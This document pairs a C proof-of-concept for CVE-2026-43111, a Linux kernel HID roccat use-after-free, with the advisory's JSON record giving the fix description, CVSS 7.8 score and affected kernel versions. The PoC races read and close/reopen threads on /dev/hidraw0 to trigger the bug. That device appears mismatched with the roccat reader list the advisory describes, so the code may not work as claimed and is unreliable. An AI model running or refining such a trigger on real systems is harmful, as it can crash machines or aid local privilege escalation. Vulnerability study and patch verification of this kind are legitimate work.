CVE-2026-43111

#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #define DEVICE_PATH "/dev/hidraw0" #define THREADS 2 // Global file descriptor to race on int fd = -1; volatile int running = 1; // Thread 1: Continuously read from the device to trigger report_event void* reader_thread(void* arg) { char buffer[256]; while (running) { if (fd >= 0) { read(fd, buffer, sizeof(buffer)); } } return NULL; } // Thread 2: Continuously open and close to trigger release void* closer_thread(void* arg) { while (running) { if (fd >= 0) { close(fd); fd = -1; } // Attempt to reopen immediately fd = open(DEVICE_PATH, O_RDWR); usleep(100); // Short sleep to vary timing } return NULL; } int main() { pthread_t t1, t2; // Open the device initially fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC for CVE-2026-43111...\n"); // Create threads pthread_create(&t1, NULL, reader_thread, NULL); pthread_create(&t2, NULL, closer_thread, NULL); // Let it run for a few seconds to trigger the race sleep(5); running = 0; // Cleanup pthread_join(t1, NULL); pthread_join(t2, NULL); if (fd >= 0) close(fd); printf("PoC execution finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-43111", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:24.807", "lastModified": "2026-05-08T19:45:15.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: roccat: fix use-after-free in roccat_report_event\n\nroccat_report_event() iterates over the device->readers list without\nholding the readers_lock. This allows a concurrent roccat_release() to\nremove and free a reader while it's still being accessed, leading to a\nuse-after-free.\n\nProtect the readers list traversal with the readers_lock mutex."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.35", "versionEndExcluding": "6.6.136", "matchCriteriaId": "E870C6A6-0F0A-4202-811D-96F288F882C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/36bb2d0b915014bbdc5044982b31b57b78045b93", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bca0b595e15450dd66b1153c76c4ef1087ee011b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d802d848308b35220f21a8025352f0c0aba15c12", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e16a6d11bd77b81632165f02cf0d5946df74b3b7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e6a445513fbc6a0329d2d5ff375b6725750ec5a6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}